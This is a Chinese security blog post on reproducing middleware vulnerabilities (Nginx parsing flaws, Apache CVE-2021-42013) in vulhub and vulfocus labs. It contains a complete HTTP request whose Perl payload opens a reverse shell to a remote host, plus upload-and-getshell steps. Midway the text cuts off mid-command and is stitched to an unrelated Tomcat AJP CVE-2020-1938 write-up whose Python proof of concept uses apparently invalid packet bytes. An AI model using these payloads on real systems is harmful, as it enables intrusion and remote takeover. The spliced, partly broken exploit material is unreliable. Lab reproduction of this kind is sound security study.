中间件安全-CVE复现&IIS&Apache&Tomcat&Nginx漏洞复现

本文聚焦中间件安全,涉及IIS、Nginx、Apache、Tomcat等中间件。详细阐述各中间件存在的安全问题,如Nginx的解析与文件名逻辑漏洞、Apache的RCE及目录遍历漏洞、Tomcat的弱口令与文件上传漏洞等,并给出对应漏洞复现步骤及部分修复方案。

中间件安全&CVE复现&IIS&Apache&Tomcat&Nginx漏洞复现

中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere, Jenkins ,GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp, Spring,Flask,jQuery等

1、中间件-IIS-短文件&解析&蓝屏等

2、中间件-Nginx-文件解析&命令执行等

3、中间件-Apache-RCE&目录遍历&文件解析等

4、中间件-Tomcat-弱口令&文件上传&文件包含等

中间件-IIS安全问题

中间件-IIS-短文件&解析&蓝屏等安全问题:

1、短文件:信息收集

2、文件解析

3、HTTP.SYS:蓝屏崩溃,略有破坏性

4、CVE-2017-7269 条件比较老旧

中间件-Nginx安全问题

Nginx详解

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力在同类型的网页服务器中表现较好。

中间件-Nginx-文件解析&命令执行等安全问题:

1、后缀解析 文件名解析 配置不当:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。 CVE-2013-4547:影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

2、cve_2021_23017

相关文章:cve_2021_23017

3、cve_2017_7529

相关文章:cve_2017_7529

漏洞复现

Nginx 解析漏洞复现

靶场:vulhub

参考:nginx解析漏洞复现

开启环境:

image-20231020095152751

访问:

image-20231020095433095

上传:

上传一个正常的图片,图片当中带着我们的php语句

image-20231020095802615

访问图片,在图片后面加上/.php

语句被成功解析并执行:

image-20231020095849687

可利用此来上传木马,从而进行getshell。

Nginx 文件名逻辑漏洞

漏洞原理:

主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

靶场:vulhub

参考:CVE-2013-4547

开启环境:

image-20231020101837154

访问:

image-20231020101852721

上传.gif文件

这个环境是黑名单验证,我们无法上传php后缀的文件。我们上传一个“1.gif ”,注意后面的空格:

image-20231020102007421

访问http://your-ip:8080/uploadfiles/3.gif[0x20][0x00].php,即可发现php语句已被解析执行(当做php脚本语言进行执行):

image-20231020102125867

修改16进制数值:

image-20231020102209314

解析执行:

image-20231020101820925

同理利用该漏洞,上传木马,可getshell。

中间件-Apache-RCE&目录遍历&文件解析等安全问题漏洞复现

详解:Apache详解

Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python解释器编译到服务器中。

安全问题:

1、cve_2021_42013 RCE代码执行

2、cve_2021_41773 目录穿越

3、cve-2017-15715 文件解析

漏洞复现

CVE_2021_42013 RCE代码执行(Apache RCE)

描述:

Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。

靶场:vulfocus

开启靶场:

image-20231020104037783

访问:

image-20231020104123013

payload:
//修改请求方式为POST
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
//数据包内容为:
echo;perl -e 'use Socket;$i="192.168.100.1";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'


//完整数据包:
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 192.168.100.134:11559
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 222

echo;perl -e 'use Socket;$i="192.168.100.1";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
反弹shell命令:
echo;perl -e
### Tomcat AJP CVE-2020-1938 漏洞复现方法与攻击原理 #### 背景介绍 Tomcat AJP 协议中的文件包含漏洞CVE-2020-1938)允许攻击者通过构造恶意请求来读取服务器上的任意文件。此漏洞源于 AJP 协议处理不当,可能导致敏感数据泄露甚至远程代码执行。 --- #### 攻击原理 AJP 是一种二进制通信协议,用于在 Web 服务器(如 Apache HTTP Server)和应用服务器(如 Tomcat)之间传输数据。当启用 AJP 连接器时,如果未正确配置权限控制,则可能被滥用以访问受保护资源。具体来说,攻击者可以通过发送特殊格式的 AJP 请求到默认端口 `8009` 来触发漏洞[^2]。 --- #### 环境搭建 为了重现该漏洞,可以使用 Docker 镜像快速部署易受影响版本的 Tomcat 实例: ```bash docker pull duonghuuphuc/tomcat-8.5.32 docker run -d --name vulnerable-tomcat -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32 ``` 上述命令会启动一个带有已知漏洞Tomcat 容器实例,并映射必要的端口以便测试[^3]。 --- #### 利用工具准备 目前有多个开源项目可用于检测和利用此漏洞,以下是常用的两种方式: 1. **Ghostcat 工具** Ghostcat 提供了一个简单的界面来进行漏洞扫描和验证。可以从其官方仓库下载并运行: ```bash git clone https://github.com/00theway/Ghostcat-CNVD-2020-10487.git cd Ghostcat-CNVD-2020-10487 python ghostcat.py http://<target-ip>:8009/ ``` 如果目标主机存在漏洞,工具将返回指定路径的内容[^4]。 2. **自定义 Python 脚本** 下面是一个基于 CNVD 的 PoC 脚本示例,可以直接修改后使用: ```python import socket def send_ajp_request(ip, port=8009, filename="/etc/passwd"): packet = b'\x12\x34\x00\x02\xfd\x00\x00\x00\x00\x00\xbb\x02\x4e' \ b'\x00\x00\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ f'{filename}'.encode() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((ip, port)) sock.send(packet) response = sock.recv(1024).decode('utf-8', errors='ignore') if 'root:' in response: print("[+] Vulnerable! File content:") print(response.strip()) else: print("[-] Not vulnerable or file not found.") except Exception as e: print(f"[!] Error occurred: {str(e)}") finally: sock.close() if __name__ == "__main__": target_ip = input("Enter the IP address of the target server: ") send_ajp_request(target_ip) ``` 此脚本尝试连接至目标机器的 AJP 端口,并请求 `/etc/passwd` 文件内容作为演示[^1]。 --- #### 结果分析 一旦成功获取预期文件内容(例如 Linux 系统用户的密码列表),即可确认目标系统受到 CVE-2020-1938 影响。需要注意的是,在实际渗透测试过程中应严格遵循法律规范,仅针对授权范围内的资产操作。 --- #### 补救措施 为了避免此类风险,建议采取以下防护手段之一或组合实施: - 关闭不必要的 AJP 功能; - 使用防火墙限制对 AJP 端口的外部访问; - 更新至最新稳定版 Tomcat 并重新评估安全性设置。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值